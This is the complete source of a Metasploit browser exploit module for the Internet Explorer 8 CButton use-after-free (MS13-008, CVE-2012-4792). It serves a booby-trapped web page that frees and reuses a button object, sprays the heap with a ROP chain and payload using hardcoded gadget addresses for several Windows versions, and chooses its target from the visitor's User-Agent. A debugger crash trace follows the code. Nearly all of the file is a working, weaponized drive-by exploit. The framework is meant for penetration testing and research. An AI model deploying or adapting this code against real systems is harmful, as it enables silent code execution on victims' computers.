metasploit-framework/modules/exploits/windows/browser/ie_cbutton_uaf.rb

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
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##
require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
#include Msf::Exploit::Remote::BrowserAutopwn
#autopwn_info({
# :ua_name => HttpClients::IE,
# :ua_minver => "8.0",
# :ua_maxver => "8.0",
# :javascript => true,
# :os_name => OperatingSystems::Match::WINDOWS,
# :rank => GoodRanking
#})
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def initialize(info={})
super(update_info(info,
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'Name' => "MS13-008 Microsoft Internet Explorer CButton Object Use-After-Free Vulnerability",
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'Description' => %q{
This module exploits a vulnerability found in Microsoft Internet Explorer. A
use-after-free condition occurs when a CButton object is freed, but a reference
is kept and used again during a page reload, an invalid memory that's controllable
is used, and allows arbitrary code execution under the context of the user.
Please note: This vulnerability has been exploited in the wild targeting
mainly China/Taiwan/and US-based computers.
},
'License' => MSF_LICENSE,
'Author' =>
[
'eromang',
'mahmud ab rahman',
'juan vazquez', #Metasploit
'sinn3r', #Metasploit
'Peter Vreugdenhil' #New trigger & new exploit technique
],
'References' =>
[
[ 'CVE', '2012-4792' ],
[ 'OSVDB', '88774' ],
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[ 'US-CERT-VU', '154201' ],
[ 'BID', '57070' ],
[ 'MSB', 'MS13-008' ],
[ 'URL', 'http://blog.fireeye.com/research/2012/12/council-foreign-relations-water-hole-attack-details.html'],
[ 'URL', 'http://eromang.zataz.com/2012/12/29/attack-and-ie-0day-informations-used-against-council-on-foreign-relations/'],
[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2794220' ],
[ 'URL', 'http://blogs.technet.com/b/srd/archive/2012/12/29/new-vulnerability-affecting-internet-explorer-8-users.aspx' ],
[ 'URL', 'http://blog.exodusintel.com/2013/01/02/happy-new-year-analysis-of-cve-2012-4792/' ],
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/12/29/microsoft-internet-explorer-0-day-marks-the-end-of-2012' ]
],
'Payload' =>
{
'BadChars' => "\x00",
'Space' => 1024,
'DisableNops' => true
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
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},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt } ],
[ 'IE 8 on Windows Vista', { 'Rop' => :jre } ],
[ 'IE 8 on Windows Server 2003', { 'Rop' => :msvcrt } ],
[ 'IE 8 on Windows 7', { 'Rop' => :jre } ]
],
'Privileged' => false,
'DisclosureDate' => "Dec 27 2012",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
ie_name = "IE #{ie}"
case nt
when '5.1'
os_name = 'Windows XP SP3'
when '5.2'
os_name = 'Windows Server 2003'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
else
# OS not supported
return nil
end
targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end
return nil
end
def junk(n=4)
return rand_text_alpha(n).unpack("V")[0].to_i
end
def nop
return make_nops(4).unpack("V")[0].to_i
end
def get_payload(t, cli)
code = payload.encoded
# No rop. Just return the payload.
return code if t['Rop'].nil?
# Make post code execution more stable
code << rand_text_alpha(12000)
msvcrt_align = "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
java_align = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000
rop_payload = ''
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case t['Rop']
when :msvcrt
case t.name
when 'IE 8 on Windows XP SP3'
rop_payload = generate_rop_payload('msvcrt', msvcrt_align + code, {'target'=>'xp'})
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when 'IE 8 on Windows Server 2003'
rop_payload = generate_rop_payload('msvcrt', msvcrt_align + code, {'target'=>'2003'})
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end
else
rop_payload = generate_rop_payload('java', java_align + code)
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end
rop_payload
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end
def load_exploit_html(my_target, cli)
case my_target['Rop']
when :msvcrt
case my_target.name
when 'IE 8 on Windows XP SP3'
align_esp = Rex::Text.to_unescape([0x77c4d801].pack("V*")) # ADD ESP, 2C; RET
xchg_esp = Rex::Text.to_unescape([0x77c15ed5].pack("V*")) # XCHG EAX, ESP, RET
when 'IE 8 on Windows Server 2003'
align_esp = Rex::Text.to_unescape([0x77bde7f6].pack("V*"))
xchg_esp = Rex::Text.to_unescape([0x77bcba5e].pack("V*"))
end
else
align_esp = Rex::Text.to_unescape([0x7C3445F8].pack("V*"))
xchg_esp = Rex::Text.to_unescape([0x7C348B05].pack("V*"))
end
padding = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4))
js_payload = Rex::Text.to_unescape(get_payload(my_target, cli))
html = %Q|<!doctype html>
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
<head>
<meta>
<?IMPORT namespace="t" implementation="#default#time2">
</meta>
<script>
#{js_mstime_malloc}
function helloWorld() {
e_form = document.getElementById("formelm");
e_div = document.getElementById("divelm");
for(i =0; i < 20; i++) {
document.createElement('button');
}
e_div.appendChild(document.createElement('button'));
e_div.firstChild.applyElement(e_form);
e_div.innerHTML = "";
e_div.appendChild(document.createElement('body'));
CollectGarbage();
p = unescape("#{padding}");
for (i=0; i < 3; i++) {
p += unescape("#{padding}");
}
p += unescape("#{js_payload}");
fo = unescape("#{align_esp}");
for (i=0; i < 55; i++) {
if (i == 54) { fo += unescape("#{xchg_esp}"); }
else { fo += unescape("#{align_esp}"); }
}
fo += p;
mstime_malloc({shellcode:fo, heapBlockSize:0x58, objId:"myanim"});
}
</script>
</head>
<body onload="eval(helloWorld())">
<t:ANIMATECOLOR id="myanim"/>
<div id="divelm"></div>
<form id="formelm">
</form>
</body>
</html>
|
return html
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")
my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
html = load_exploit_html(my_target, cli)
html = html.gsub(/^ {4}/, '')
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print_status("Sending HTML...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
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end
=begin
(87c.f40): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=12120d0c ebx=0023c218 ecx=00000052 edx=00000000 esi=00000000 edi=0301e400
eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
mshtml!CMarkup::OnLoadStatusDone+0x504:
637848c3 ff90dc000000 call dword ptr <Unloaded_Ed20.dll>+0xdb (000000dc)[eax] ds:0023:12120de8=????????
0:008> k
ChildEBP RetAddr
020bf8a4 635c378b mshtml!CMarkup::OnLoadStatusDone+0x504
020bf8c4 635c3e16 mshtml!CMarkup::OnLoadStatus+0x47
020bfd10 636553f8 mshtml!CProgSink::DoUpdate+0x52f
020bfd24 6364de62 mshtml!CProgSink::OnMethodCall+0x12
020bfd58 6363c3c5 mshtml!GlobalWndOnMethodCall+0xfb
020bfd78 7e418734 mshtml!GlobalWndProc+0x183
020bfda4 7e418816 USER32!InternalCallWinProc+0x28
020bfe0c 7e4189cd USER32!UserCallWinProcCheckWow+0x150
020bfe6c 7e418a10 USER32!DispatchMessageWorker+0x306
020bfe7c 01252ec9 USER32!DispatchMessageW+0xf
020bfeec 011f48bf IEFRAME!CTabWindow::_TabWindowThreadProc+0x461
020bffa4 5de05a60 IEFRAME!LCIETab_ThreadProc+0x2c1
020bffb4 7c80b713 iertutil!CIsoScope::RegisterThread+0xab
020bffec 00000000 kernel32!BaseThreadStart+0x37
0:008> r
eax=0c0c0c0c ebx=0023c1d0 ecx=00000052 edx=00000000 esi=00000000 edi=033e9120
eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x504:
637848c3 ff90dc000000 call dword ptr [eax+0DCh] ds:0023:0c0c0ce8=????????
=end